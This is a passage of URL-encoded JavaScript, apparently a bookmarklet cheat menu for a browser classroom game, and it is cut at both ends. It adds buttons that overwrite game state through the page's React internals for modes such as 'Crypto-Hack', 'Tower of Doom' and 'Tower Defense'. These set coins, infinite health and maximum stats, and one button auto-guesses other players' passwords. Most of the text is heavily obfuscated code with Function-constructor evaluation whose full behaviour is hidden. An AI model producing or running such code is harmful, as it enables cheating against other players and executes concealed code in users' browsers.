class%3D"hack">Infinite Food Level<%2Fbutton> <button id%3D"setcoins" class%3D"hack">Set Coins<%2Fbutton> <button id%3D"stock" class%3D"hack">Stock Infinite Food<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fcafe%2Fshop"%3A%0A type %3D "cafe"%3B%0A mode %3D "Cafe"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"inffood" class%3D"hack">Infinite Food Level<%2Fbutton> <button id%3D"setcoins" class%3D"hack">Set Coins<%2Fbutton> <button id%3D"stock" class%3D"hack">Stock Infinite Food<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fhack"%3A%0A type %3D "crypto"%3B%0A mode %3D "Crypto-Hack"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"set" class%3D"hack">Set Crypto<%2Fbutton> <button id%3D"esp" class%3D"hack">Change Name<%2Fbutton> <button id%3D"guesspass" class%3D"hack">Autoguess Password<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fkingdom"%3A%0A type %3D "kingdom"%3B%0A mode %3D "Crazy Kingdom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"esp" class%3D"hack">ChoiceESP<%2Fbutton><button id%3D"max" class%3D"hack">Max Stats<%2Fbutton> <button id%3D"taxes" class%3D"hack">No Taxes<%2Fbutton> <button id%3D"setgold" class%3D"hack">Set Gold<%2Fbutton> <button id%3D"sethappy" class%3D"hack">Set Happiness<%2Fbutton> <button id%3D"setmaterials" class%3D"hack">Set Materials<%2Fbutton> <button id%3D"setpeople" class%3D"hack">Set People<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A type %3D "doom"%0A mode %3D "Tower of Doom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"maxstats" class%3D"hack">Max Stats<%2Fbutton><button id%3D"lowstats" class%3D"hack">Lower Enemy Stats<%2Fbutton><button id%3D"settokens" class%3D"hack">Set Coins<%2Fbutton><button id%3D"infhlt" class%3D"hack">Infinite Health<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A type %3D "doom"%0A mode %3D "Tower of Doom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"maxstats" class%3D"hack">Max Stats<%2Fbutton><button id%3D"lowstats" class%3D"hack">Lower Enemy Stats<%2Fbutton><button id%3D"settokens" class%3D"hack">Set Coins<%2Fbutton><button id%3D"infhlt" class%3D"hack">Infinite Health<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fdefense"%3A%0A type %3D "defense"%3B%0A mode %3D "Tower Defense"%0A html %3D %27<div id%3D"LoadedGame"> <button id%3D"settokens" class%3D"hack">Set Tokens<%2Fbutton> <button id%3D"sethealth" class%3D"hack">Set Health<%2Fbutton> <button id%3D"setround" class%3D"hack">Set Round<%2Fbutton> <button id%3D"maxtowers" class%3D"hack">Max All Towers<%2Fbutton> <button id%3D"towersany" class%3D"hack">Place Towers Anywhere<%2Fbutton> <%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A default%3A%0A let element %3D document.getElementById("LoadedGame")%0A element.innerHTML %3D %27<div id%3D"LoadedGame"><%2Fdiv>%27%3B%0A %7D%0A%0A function loadgame(type%2C html%2C mode) %7B%0A let element %3D document.getElementById("LoadedGame")%0A let curPage %3D document.getElementById("curPage")%0A element.innerHTML %3D html%3B%0A curPage.innerHTML %3D mode%3B%0A addEvents(type)%3B%0A %7D%0A%0A function addEvents(type) %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A switch (type) %7B%0A case "crypto"%3A%0A const set %3D document.getElementById("set")%0A const autoguess %3D document.getElementById("guesspass")%0A const esp2 %3D document.getElementById("esp")%0A set.addEventListener(%27click%27%2C () %3D> %7B%0A var cf %3D window.prompt("How much Crypto would you like%3F")%0A let num %3D Number(cf)%0A if (num !%3D null %7C%7C num !%3D undefined) %7B%0A hack.stateNode.state.crypto %3D num%3B%0A %7D%0A %7D)%0A autoguess.addEventListener(%27click%27%2C () %3D> %7B%0A (function(_0x499d01%2C_0x24e017)%7Bvar _0x4fde3f%3D_0x499d01()%3Bfunction _0x237240(_0x4888ab%2C_0x1d2070%2C_0xd32c0a%2C_0x569eba%2C_0x3c85f8)%7Breturn _0x687a(_0x4888ab- -0x370%2C_0xd32c0a)%3B%7Dfunction _0x3bf52d(_0x2ae095%2C_0x298bb5%2C_0x1de810%2C_0x2ab028%2C_0x52b95a)%7Breturn _0x687a(_0x298bb5- -0x163%2C_0x52b95a)%3B%7Dfunction _0x1ce929(_0x127f77%2C_0x4ecfd2%2C_0x3c8a5d%2C_0x5314a8%2C_0x36155e)%7Breturn _0x687a(_0x4ecfd2- -0x11b%2C_0x36155e)%3B%7Dfunction _0x28fab7(_0xe80d47%2C_0x5755c7%2C_0x3747d8%2C_0x2ce9bb%2C_0x584b48)%7Breturn _0x687a(_0x2ce9bb-0x19%2C_0x584b48)%3B%7Dfunction _0x5d2832(_0x331396%2C_0x5c7e29%2C_0x1450a8%2C_0x1dc60a%2C_0xeb3af4)%7Breturn _0x687a(_0x331396- -0x1e0%2C_0x1dc60a)%3B%7Dwhile(!!%5B%5D)%7Btry%7Bvar _0x5088ee%3D-parseInt(_0x5d2832(0x2f%2C0x7a%2C-0x3%2C0x64%2C-0x2c))%2F(0x7*0x447%2B-0x5e*0x5e%2B-0x1*-0x494)%2BparseInt(_0x3bf52d(0xe8%2C0xbe%2C0xcd%2C0x8e%2C0x7f))%2F(-0x28e*-0xe%2B0x87a%2B-0x13*0x254)%2B-parseInt(_0x3bf52d(0x2f%2C0x25%2C0x6a%2C0x4c%2C0x6e))%2F(-0x12f0%2B-0x3f9%2B0xb76*0x2)%2BparseInt(_0x1ce929(0x8e%2C0x61%2C0x87%2C0xc0%2C0x98))%2F(0xcfb%2B-0x8b7*0x3%2B0x697*0x2)%2B-parseInt(_0x237240(-0x190%2C-0x176%2C-0x16f%2C-0x18b%2C-0x1c5))%2F(-0x1b7a%2B-0x1ef6%2B-0x29*-0x16d)*(-parseInt(_0x237240(-0x191%2C-0x1c2%2C-0x1ac%2C-0x17c%2C-0x17a))%2F(0x1dc3%2B0xd57%2B-0xe5c*0x3))%2B-parseInt(_0x3bf52d(0x9%2C0x1e%2C-0x9%2C0x2d%2C-0x2b))%2F(0x1db7*-0x1%2B-0x1*0xaa3%2B0x2861)*(parseInt(_0x237240(-0x17a%2C-0x11e%2C-0x13f%2C-0x164%2C-0x1c7))%2F(0x11*0x40%2B0x1ab6%2B-0x1eee))%2B-parseInt(_0x3bf52d(0x44%2C0x54%2C0xa1%2C-0x4%2C0x9a))%2F(0x20f5%2B0x14a3%2B0x1*-0x358f)*(-parseInt(_0x5d2832(0x60%2C0xa3%2C0x1f%2C0x25%2C0x7))%2F(0x23bd%2B-0x135*-0x13%2B-0x9e*0x5f))%3Bif(_0x5088ee%3D%3D%3D_0x24e017)break%3Belse _0x4fde3f%5B%27push%27%5D(_0x4fde3f%5B%27shift%27%5D())%3B%7Dcatch(_0xe11991)%7B_0x4fde3f%5B%27push%27%5D(_0x4fde3f%5B%27shift%27%5D())%3B%7D%7D%7D(_0x5bc5%2C0x8020%2B0x20*0x7a9%2B0x1d4c8))%3Bvar _0x2fa7a2%3D(function()%7Bfunction _0x5120a0(_0x1aee4a%2C_0x49c6ea%2C_0x1ca631%2C_0xa2b91d%2C_0x25d7c5)%7Breturn _0x687a(_0xa2b91d- -0x357%2C_0x1ca631)%3B%7Dvar _0x4acd6a%3D%7B%27oEPPu%27%3A_0x4a24fc(0x2d3%2C0x28b%2C0x285%2C0x22f%2C0x2c0)%2B_0x5ae48d(-0x134%2C-0xdf%2C-0x11b%2C-0xec%2C-0x149)%2B_0x4a24fc(0x290%2C0x26f%2C0x29a%2C0x2f4%2C0x262)%2B_0x4d531d(-0x236%2C-0x1dc%2C-0x19e%2C-0x1bd%2C-0x19c)%2B_0x5ae48d(-0x138%2C-0x187%2C-0x194%2C-0xfe%2C-0xf6)%2B_0x5120a0(-0x19c%2C-0x1b0%2C-0x1a2%2C-0x1b9%2C-0x1ca)%2B_0x5ae48d(-0xf6%2C-0x13a%2C-0x10c%2C-0xcc%2C-0xeb)%2B_0x4d531d(-0x1cb%2C-0x1ae%2C-0x1ec%2C-0x1a7%2C-0x1f3)%2B_0x2e43fe(0xbd%2C0x6f%2C0x20%2C0xdb%2C0x84)%2B_0x5ae48d(-0xfe%2C-0x106%2C-0xf5%2C-0xff%2C-0x147)%2B_0x5120a0(-0x1ba%2C-0x189%2C-0x166%2C-0x160%2C-0x142)%2B_0x4d531d(-0x213%2C-0x1cf%2C-0x1d0%2C-0x17b%2C-0x17d)%2B_0x5120a0(-0x1a0%2C-0x151%2C-0x16b%2C-0x150%2C-0xec)%2B_0x5120a0(-0x18d%2C-0x185%2C-0x173%2C-0x15d%2C-0x104)%2B_0x5ae48d(-0xfa%2C-0xf2%2C-0xd7%2C-0xa5%2C-0x100)%2B_0x4d531d(-0x153%2C-0x1ad%2C-0x1f6%2C-0x188%2C-0x1f9)%2B_0x4d531d(-0x15a%2C-0x1a0%2C-0x1f2%2C-0x191%2C-0x1a4)%2B_0x4d531d(-0x24f%2C-0x1f9%2C-0x1dc%2C-0x1ea%2C-0x1de)%2B_0x4d531d(-0x1f7%2C-0x217%2C-0x263%2C-0x222%2C-0x27e)%2B_0x4d531d(-0x207%2C-0x23a%2C-0x24f%2C-0x288%2C-0x1eb)%2B_0x2e43fe(0x8e%2C0xd9%2C0x2c%2C0xa3%2C0x74)%2B_0x4a24fc(0x2c5%2C0x228%2C0x27e%2C0x298%2C0x275)%2B_0x5120a0(-0x141%2C-0x15c%2C-0x1a6%2C-0x1a5%2C-0x191)%2B_0x2e43fe(0xa6%2C0x39%2C0xc1%2C0xac%2C0x7e)%2B_0x2e43fe(0x65%2C0x44%2C0x6b%2C0x92%2C0x51)%2B_0x4a24fc(0x35d%2C0x2ce%2C0x31c%2C0x35b%2C0x2c1)%2B_0x5120a0(-0x1fb%2C-0x209%2C-0x1e5%2C-0x1bb%2C-0x20e)%2B_0x5ae48d(-0xd8%2C-0x9b%2C-0x129%2C-0xa1%2C-0x127)%2B_0x5ae48d(-0x158%2C-0xfa%2C-0x199%2C-0xf1%2C-0x166)%2B_0x5ae48d(-0x142%2C-0x137%2C-0x147%2C-0x179%2C-0x169)%2B_0x5ae48d(-0x132%2C-0x178%2C-0xfb%2C-0x100%2C-0x15b)%2B_0x4a24fc(0x27e%2C0x28e%2C0x28e%2C0x2cd%2C0x2ce)%2B_0x4a24fc(0x2d3%2C0x2a6%2C0x30c%2C0x2ed%2C0x35e)%2B_0x5120a0(-0x18e%2C-0x1a6%2C-0x136%2C-0x179%2C-0x156)%2B_0x5120a0(-0x133%2C-0x13b%2C-0x172%2C-0x160%2C-0x14c)%2B_0x5ae48d(-0xe6%2C-0x145%2C-0x87%2C-0x100%2C-0x109)%2C%27RNtGg%27%3A_0x5ae48d(-0x15a%2C-0x11d%2C-0x15b%2C-0x172%2C-0x146)%2B_0x5120a0(-0x1e7%2C-0x205%2C-0x209%2C-0x1aa%2C-0x15c)%2B_0x5ae48d(-0x145%2C-0x182%2C-0x12e%2C-0x15e%2C-0x13b)%2B%27v%27%2C%27vFZpS%27%3Afunction(_0x39bf7b%2C_0x3381fc)%7Breturn _0x39bf7b<_0x3381fc%3B%7D%2C%27oMZOI%27%3Afunction(_0x395c73%2C_0x2e8dc0)%7Breturn _0x395c73%3D%3D%3D_0x2e8dc0%3B%7D%2C%27douwK%27%3Afunction(_0x32c6cf%2C_0x5eab9a)%7Breturn _0x32c6cf%3D%3D%3D_0x5eab9a%3B%7D%2C%27WUsCl%27%3Afunction(_0x3dbb9e%2C_0x1ac57d)%7Breturn _0x3dbb9e(_0x1ac57d)%3B%7D%2C%27FFsNn%27%3Afunction(_0x3a2d2f%2C_0xe3f1eb)%7Breturn _0x3a2d2f%2B_0xe3f1eb%3B%7D%2C%27FdnEK%27%3A_0x2e43fe(0xb6%2C0xd4%2C0xad%2C0x38%2C0x8f)%2B_0x5ae48d(-0xcc%2C-0xa1%2C-0x9a%2C-0xd3%2C-0x7a)%2B_0x2e43fe(0xd2%2C0x42%2C0xee%2C0x51%2C0x98)%2B_0x5120a0(-0x1d8%2C-0x150%2C-0x130%2C-0x172%2C-0x1a3)%2C%27FSFpP%27%3A_0x5ae48d(-0xb2%2C-0x4d%2C-0xc5%2C-0xd5%2C-0x9a)%2B_0x4a24fc(0x308%2C0x2ca%2C0x2ed%2C0x297%2C0x2a6)%2B_0x2e43fe(0xbb%2C0x49%2C0xe6%2C0xc7%2C0xa9)%2B_0x5120a0(-0x18c%2C-0x1fd%2C-0x1ec%2C-0x1c4%2C-0x18a)%2B_0x4a24fc(0x284%2C0x266%2C0x2b4%2C0x285%2C0x295)%2B_0x5ae48d(-0x112%2C-0x107%2C-0xac%2C-0xab%2C-0xda)%2B%27%5Cx20)%27%2C%27pxJhn%27%3Afunction(_0x13f646%2C_0x175207)%7Breturn _0x13f646!%3D%3D_0x175207%3B%7D%2C%27lylSl%27%3A_0x5ae48d(-0x146%2C-0x166%2C-0x129%2C-0x151%2C-0x133)%2C%27DeJls%27%3A_0x5120a0(-0xd3%2C-0xd1%2C-0xdb%2C-0x131%2C-0x196)%2C%27rASbw%27%3A_0x4d531d(-0x23b%2C-0x240%2C-0x237%2C-0x213%2C-0x21a)%2C%27OTTpc%27%3Afunction(_0x540abf%2C_0x4ce790)%7Breturn _0x540abf!%3D%3D_0x4ce790%3B%7D%2C%27adFmq%27%3A_0x5ae48d(-0x10f%2C-0xb7%2C-0xa8%2C-0xd9%2C-0xec)%2C%27RIbrg%27%3A_0x4d531d(-0x1f2%2C-0x23f%2C-0x1ea%2C-0x287%2C-0x214)%7D%2C_0x4934e8%3D!!%5B%5D%3Bfunction _0x2e43fe(_0x2a09f3%2C_0x3f2f80%2C_0x24dc23%2C_0x49942c%2C_0x53337e)%7Breturn _0x687a(_0x53337e- -0x170%2C_0x2a09f3)%3B%7Dfunction _0x4d531d(_0x5e7443%2C_0x5d7ba8%2C_0x5bc42b%2C_0x14c10e%2C_0x273d30)%7Breturn _0x687a(_0x5d7ba8- -0x3c4%2C_0x14c10e)%3B%7Dfunction _0x5ae48d(_0x45dd4d%2C_0x2694fa%2C_0x2ced50%2C_0x4836fa%2C_0x2f1a3a)%7Breturn _0x687a(_0x45dd4d- -0x2e1%2C_0x2f1a3a)%3B%7Dfunction _0x4a24fc(_0x407cca%2C_0xabce7a%2C_0x48b8a9%2C_0x50f511%2C_0x12940e)%7Breturn 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_0x372d4a<_0x5d99a2%3B%7D%2C%27mFqWk%27%3Afunction(_0x1c5c7f%2C_0x4acc1b)%7Breturn _0x1c5c7f%3D%3D%3D_0x4acc1b%3B%7D%2C%27bkyhQ%27%3A_0x4a0252(0x20d%2C0x1d3%2C0x203%2C0x21f%2C0x220)%2B_0x2da3b0(0x2f2%2C0x383%2C0x34d%2C0x32b%2C0x331)%2B%270%27%2C%27ipifN%27%3Afunction(_0x2b066b%2C_0x3a369d)%7Breturn _0x2b066b!%3D%3D_0x3a369d%3B%7D%2C%27UoDcL%27%3A_0xe2793e(0x7d%2C0xa4%2C0xe3%2C0xba%2C0x9b)%2C%27sapdx%27%3Afunction(_0x1c8c2f%2C_0x1f1cb2)%7Breturn _0x1c8c2f!%3D%3D_0x1f1cb2%3B%7D%2C%27yjdRf%27%3A_0x1abc1b(0xd1%2C0xf3%2C0x86%2C0xec%2C0xc2)%2C%27hXkzc%27%3A_0x4a0252(0x25f%2C0x255%2C0x24f%2C0x218%2C0x1b1)%2C%27HDkCV%27%3Afunction(_0x1069d5%2C_0x3dabd0)%7Breturn _0x1069d5(_0x3dabd0)%3B%7D%2C%27AlEdf%27%3Afunction(_0x1c8833%2C_0x2b46e0)%7Breturn _0x1c8833%2B_0x2b46e0%3B%7D%2C%27TxNwp%27%3A_0x4e3d0c(0x1bd%2C0x223%2C0x1f2%2C0x1ca%2C0x216)%2B_0x2da3b0(0x353%2C0x3c1%2C0x31f%2C0x385%2C0x342)%2B_0x2da3b0(0x35f%2C0x335%2C0x331%2C0x378%2C0x328)%2B_0xe2793e(0x121%2C0xe2%2C0x113%2C0x96%2C0xee)%2C%27NXzBk%27%3A_0x1abc1b(0x157%2C0xda%2C0x15a%2C0x10b%2C0x14d)%2B_0x4e3d0c(0x225%2C0x213%2C0x22a%2C0x26e%2C0x251)%2B_0x1abc1b(0xfd%2C0x155%2C0x121%2C0xf5%2C0x13b)%2B_0x2da3b0(0x338%2C0x34f%2C0x33f%2C0x303%2C0x2a1)%2B_0x1abc1b(0x3d%2C0xba%2C0x45%2C0x92%2C0xdb)%2B_0x1abc1b(0xca%2C0x62%2C0x4c%2C0xab%2C0xbb)%2B%27%5Cx20)%27%2C%27xIoNv%27%3A_0x2da3b0(0x351%2C0x374%2C0x337%2C0x333%2C0x2e4)%2C%27jVtep%27%3Afunction(_0x2188ca)%7Breturn _0x2188ca()%3B%7D%2C%27jPogU%27%3A_0x1abc1b(0xc5%2C0xf5%2C0x160%2C0x108%2C0x120)%2C%27vmAVg%27%3A_0x2da3b0(0x2dc%2C0x34b%2C0x351%2C0x315%2C0x348)%2C%27WkRIP%27%3A_0xe2793e(0x14d%2C0xe6%2C0x113%2C0x11e%2C0xd1)%2C%27icbTT%27%3A_0x4a0252(0x1c0%2C0x250%2C0x277%2C0x21c%2C0x1c7)%2C%27FIeZD%27%3A_0x4e3d0c(0x243%2C0x1e8%2C0x218%2C0x19f%2C0x235)%2B_0x4e3d0c(0x17d%2C0x1b6%2C0x19c%2C0x1e3%2C0x15b)%2C%27HuWJR%27%3A_0x1abc1b(0x10a%2C0x13b%2C0x154%2C0xee%2C0x121)%2C%27owvqL%27%3A_0x2da3b0(0x36c%2C0x3bc%2C0x381%2C0x3b5%2C0x412)%2C%27vgbxu%27%3Afunction(_0xa62d5c%2C_0x151639)%7Breturn _0xa62d5c<_0x151639%3B%7D%2C%27tGgaT%27%3Afunction(_0x43768b%2C_0x2057bf)%7Breturn _0x43768b%3D%3D%3D_0x2057bf%3B%7D%2C%27nrVWE%27%3A_0x4a0252(0x272%2C0x2a5%2C0x2c8%2C0x28e%2C0x2c7)%2C%27lCBnw%27%3A_0x2da3b0(0x353%2C0x359%2C0x381%2C0x347%2C0x341)%2C%27KNqqk%27%3A_0x1abc1b(0x154%2C0xc9%2C0x116%2C0x118%2C0xfd)%2B_0x4a0252(0x1cf%2C0x226%2C0x230%2C0x1f4%2C0x214)%2B%272%27%7D%3Bfunction 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_0x2da3b0(_0x2fc3e6%2C_0x110d30-0x37%2C_0x197558-0xe4%2C_0x197558- -0x1fb%2C_0x1070ce-0x62)%3B%7Dfunction _0x3054e8(_0x28c704%2C_0x3c1212%2C_0x2e2115%2C_0x3d2198%2C_0x186b36)%7Breturn _0x2da3b0(_0x28c704%2C_0x3c1212-0xa4%2C_0x2e2115-0x1dc%2C_0x3c1212- -0x498%2C_0x186b36-0x173)%3B%7Dvar _0x29d9ab%3D_0x360f99%3Bif(_0x34ed88%5B_0x511fa6(0x28b%2C0x29b%2C0x291%2C0x2c0%2C0x267)%5D(_0x34ed88%5B_0x596f3d(0x152%2C0x163%2C0x129%2C0x18e%2C0xd9)%5D%2C_0x34ed88%5B_0x511fa6(0x2a3%2C0x2c3%2C0x345%2C0x2de%2C0x313)%5D))%7Bvar _0x124739%3D_0x29d9ab%5B_0x2c45a5(0xf1%2C0xba%2C0xfa%2C0x124%2C0x122)%5D%5B_0x596f3d(0x16f%2C0x162%2C0x1ab%2C0x1b4%2C0x203)%5D(%27%7C%27)%2C_0x9b7ca1%3D0x1*0x5a1%2B0x0%2B0x5a1*-0x1%3Bwhile(!!%5B%5D)%7Bswitch(_0x124739%5B_0x9b7ca1%2B%2B%5D)%7Bcase%270%27%3A_0x99e455%5B_0x433f5f%5D%3D_0x15cadb%3Bcontinue%3Bcase%271%27%3Avar _0x433f5f%3D_0x30c8af%5B_0x2a88d2%5D%3Bcontinue%3Bcase%272%27%3Avar _0x15cadb%3D_0x343f32%5B_0x511fa6(0x2a9%2C0x2a7%2C0x279%2C0x2c3%2C0x274)%2B_0x2c45a5(0x179%2C0x162%2C0x1d0%2C0x197%2C0x1ca)%2B%27r%27%5D%5B_0x2c45a5(0x101%2C0x118%2C0x156%2C0x149%2C0x164)%2B_0x1561b8(-0xb1%2C-0xfa%2C-0x55%2C-0x8d%2C-0xe4)%5D%5B_0x1561b8(-0x103%2C-0xfc%2C-0x135%2C-0x10d%2C-0xe5)%5D(_0x1c6e54)%3Bcontinue%3Bcase%273%27%3A_0x15cadb%5B_0x3054e8(-0xe6%2C-0x11b%2C-0x15a%2C-0xd0%2C-0x10e)%2B_0x2c45a5(0x13f%2C0x139%2C0x143%2C0x18d%2C0xdc)%5D%3D_0x13dc4f%5B_0x596f3d(0x1b0%2C0x147%2C0x182%2C0x17f%2C0x122)%2B_0x2c45a5(0x13f%2C0x106%2C0xf6%2C0xf8%2C0x138)%5D%5B_0x511fa6(0x299%2C0x257%2C0x297%2C0x2b5%2C0x2fd)%5D(_0x13dc4f)%3Bcontinue%3Bcase%274%27%3Avar _0x13dc4f%3D_0x3831ab%5B_0x433f5f%5D%7C%7C_0x15cadb%3Bcontinue%3Bcase%275%27%3A_0x15cadb%5B_0x1561b8(-0x54%2C-0x18%2C0x12%2C-0x95%2C-0x2c)%2B_0x1561b8(-0xbd%2C-0xe6%2C-0x75%2C-0xd1%2C-0x77)%5D%3D_0x29d2f9%5B_0x1561b8(-0x103%2C-0x168%2C-0xd6%2C-0xbd%2C-0xc9)%5D(_0x5974b1)%3Bcontinue%3B%7Dbreak%3B%7D%7Delse%7Bvar _0x1b2755%3Btry%7Bif(_0x34ed88%5B_0x2c45a5(0x16f%2C0x1cc%2C0x142%2C0x1b8%2C0x1a4)%5D(_0x34ed88%5B_0x511fa6(0x2e4%2C0x2f0%2C0x2e1%2C0x303%2C0x307)%5D%2C_0x34ed88%5B_0x1561b8(-0x65%2C-0x8c%2C-0x68%2C-0x61%2C-0x34)%5D))_0x1b2755%3D_0x34ed88%5B_0x511fa6(0x395%2C0x375%2C0x34a%2C0x36e%2C0x3c8)%5D(Function%2C_0x34ed88%5B_0x2c45a5(0x11d%2C0x14d%2C0xfa%2C0x111%2C0xe7)%5D(_0x34ed88%5B_0x3054e8(-0x1a9%2C-0x17e%2C-0x154%2C-0x140%2C-0x145)%5D(_0x34ed88%5B_0x2c45a5(0x1b9%2C0x212%2C0x206%2C0x1e1%2C0x174)%5D%2C_0x34ed88%5B_0x3054e8(-0x134%2C-0x110%2C-0xfe%2C-0x171%2C-0xf0)%5D)%2C%27)%3B%27))()%3Belse%7Bif(_0x368b44%5B_0x1561b8(-0x7b%2C-0xde%2C-0x7d%2C-0x56%2C-0x75)%2B_0x1561b8(-0xf6%2C-0x9a%2C-0xcc%2C-0xa1%2C-0x115)%2B_0x1561b8(-0xee%2C-0xf7%2C-0xc4%2C-0xe5%2C-0x8e)%5D(_0x34ed88%5B_0x511fa6(0x2fb%2C0x313%2C0x2ce%2C0x30b%2C0x354)%5D))%7Bvar _0x21374c%3D_0x1c3d83%5B_0x596f3d(0x145%2C0x145%2C0x188%2C0x18b%2C0x1e2)%2B_0x2c45a5(0x10b%2C0xe4%2C0xb5%2C0xb1%2C0x15f)%2B_0x596f3d(0xd8%2C0x14f%2C0x115%2C0xbf%2C0x123)%5D(_0x34ed88%5B_0x2c45a5(0x1a8%2C0x1d1%2C0x192%2C0x171%2C0x189)%5D)%5B_0x511fa6(0x30c%2C0x311%2C0x332%2C0x2da%2C0x323)%2B_0x596f3d(0x149%2C0x15a%2C0x12d%2C0xd6%2C0x182)%5D%2C_0x1c80a0%3D_0x3289c6%5B_0x1561b8(-0x115%2C-0x151%2C-0xf8%2C-0x17b%2C-0x116)%2B%27s%27%5D(_0x76dfb0%5B_0x2c45a5(0x186%2C0x14d%2C0x1be%2C0x1ba%2C0x1d1)%2B_0x2c45a5(0x10b%2C0xce%2C0xea%2C0xae%2C0x126)%2B_0x596f3d(0x14e%2C0x129%2C0x115%2C0x110%2C0xb7)%5D(_0x34ed88%5B_0x511fa6(0x315%2C0x2db%2C0x30f%2C0x32e%2C0x2f7)%5D))%5B-0x393*-0x9%2B-0x475%2B0x1bb5*-0x1%5D%5B_0x511fa6(0x2da%2C0x300%2C0x2b5%2C0x2da%2C0x340)%2B_0x596f3d(0x10c%2C0x18a%2C0x12d%2C0xd5%2C0x105)%5D%5B-0x1*-0x1d8b%2B-0x1fdb%2B0x251%5D%5B_0x511fa6(0x2b6%2C0x2a0%2C0x2fc%2C0x2ff%2C0x358)%2B%27r%27%5D%5B_0x3054e8(-0x14e%2C-0xf1%2C-0xec%2C-0x91%2C-0x157)%2B_0x3054e8(-0xe3%2C-0xf5%2C-0x103%2C-0xf8%2C-0xa2)%5D%5B_0x1561b8(-0x57%2C-0x6d%2C0xd%2C-0x61%2C-0xb7)%5D%5B_0x2c45a5(0x160%2C0x187%2C0x14a%2C0x175%2C0x13d)%2B_0x511fa6(0x31d%2C0x31b%2C0x31d%2C0x355%2C0x3b8)%2B_0x511fa6(0x2c7%2C0x2df%2C0x383%2C0x32d%2C0x33e)%5D%3Bfor(var _0x45a6a8%3D0xc*0x1b%2B0x1049*0x2%2B-0x2*0x10eb%3B_0x34ed88%5B_0x596f3d(0x15e%2C0x14d%2C0x1b0%2C0x1e1%2C0x20c)%5D(_0x45a6a8%2C_0x21374c%5B_0x511fa6(0x395%2C0x301%2C0x381%2C0x345%2C0x2e6)%2B%27h%27%5D)%3B_0x45a6a8%2B%2B)%7B_0x34ed88%5B_0x511fa6(0x329%2C0x342%2C0x314%2C0x2fd%2C0x2e6)%5D(_0x21374c%5B_0x45a6a8%5D%5B_0x511fa6(0x287%2C0x297%2C0x312%2C0x2c7%2C0x286)%2B_0x1561b8(-0x111%2C-0xc1%2C-0x124%2C-0x12a%2C-0x14d)%2B%27t%27%5D%2C_0x1c80a0)%26%26_0x21374c%5B_0x45a6a8%5D%5B_0x3054e8(-0x143%2C-0x15b%2C-0x126%2C-0x13e%2C-0x1b9)%5D()%3B%7D%7D%7D%7Dcatch(_0x3ec10c)%7Bif(_0x34ed88%5B_0x596f3d(0x1cb%2C0x13c%2C0x171%2C0x18d%2C0x1b9)%5D(_0x34ed88%5B_0x3054e8(-0xc5%2C-0x109%2C-0xc7%2C-0xed%2C-0x167)%5D%2C_0x34ed88%5B_0x3054e8(-0x104%2C-0x109%2C-0xaa%2C-0xdf%2C-0x118)%5D))%7Bvar _0x4efc8f%3D_0x11a188%3Ffunction()%7Bfunction _0x5ef706(_0x214aee%2C_0x2c4b6d%2C_0x6aaa4e%2C_0x2afa36%2C_0x1e2bb4)%7Breturn _0x596f3d(_0x2c4b6d%2C_0x2c4b6d-0x1c%2C_0x6aaa4e- -0x18e%2C_0x2afa36-0x159%2C_0x1e2bb4-0x107)%3B%7Dif(_0x2507c2)%7Bvar _0x5a8c1c%3D_0x2f6274%5B_0x5ef706(-0x101%2C-0x40%2C-0x9f%2C-0x8a%2C-0xba)%5D(_0x264a41%2Carguments)%3Breturn _0x47b71d%3Dnull%2C_0x5a8c1c%3B%7D%7D%3Afunction()%7B%7D%3Breturn _0x3b5e69%3D!%5B%5D%2C_0x4efc8f%3B%7Delse _0x1b2755%3Dwindow%3B%7Dreturn _0x1b2755%3B%7D%7D%3Bfunction _0x2da3b0(_0x5aa70b%2C_0x47bc04%2C_0x4b9bd7%2C_0x441341%2C_0xc4ef96)%7Breturn _0x687a(_0x441341-0x170%2C_0x5aa70b)%3B%7Dfunction _0x1abc1b(_0x2641ab%2C_0x46d30a%2C_0x3ab3e3%2C_0x5cccf4%2C_0x470dd4)%7Breturn _0x687a(_0x5cccf4- -0x124%2C_0x2641ab)%3B%7Dvar _0x39165d%3D_0x34ed88%5B_0x4a0252(0x268%2C0x20b%2C0x27c%2C0x24a%2C0x1f9)%5D(_0x26fd4a)%3Bfunction _0x4a0252(_0x11cb4b%2C_0x1898c8%2C_0x5c4b8a%2C_0x250e3c%2C_0x5e52c6)%7Breturn _0x687a(_0x250e3c-0x5a%2C_0x5c4b8a)%3B%7Dvar _0xb2213d%3D_0x39165d%5B_0x2da3b0(0x3cf%2C0x3ad%2C0x3c6%2C0x3b1%2C0x3fd)%2B%27le%27%5D%3D_0x39165d%5B_0x4a0252(0x2e7%2C0x2e7%2C0x2dd%2C0x29b%2C0x29c)%2B%27le%27%5D%7C%7C%7B%7D%2C_0x398a61%3D%5B_0x34ed88%5B_0x4e3d0c(0x1c8%2C0x1b1%2C0x18c%2C0x1cc%2C0x1a7)%5D%2C_0x34ed88%5B_0x4a0252(0x245%2C0x2e6%2C0x2de%2C0x298%2C0x2f8)%5D%2C_0x34ed88%5B_0x4a0252(0x213%2C0x263%2C0x28a%2C0x224%2C0x1ef)%5D%2C_0x34ed88%5B_0x1abc1b(0x30%2C0x9e%2C0x8e%2C0x87%2C0x8e)%5D%2C_0x34ed88%5B_0xe2793e(0x172%2C0x119%2C0x157%2C0x180%2C0xf9)%5D%2C_0x34ed88%5B_0x1abc1b(0xd4%2C0xb5%2C0xdb%2C0xd4%2C0xb6)%5D%2C_0x34ed88%5B_0x1abc1b(0xd1%2C0x10a%2C0x100%2C0x101%2C0x124)%5D%5D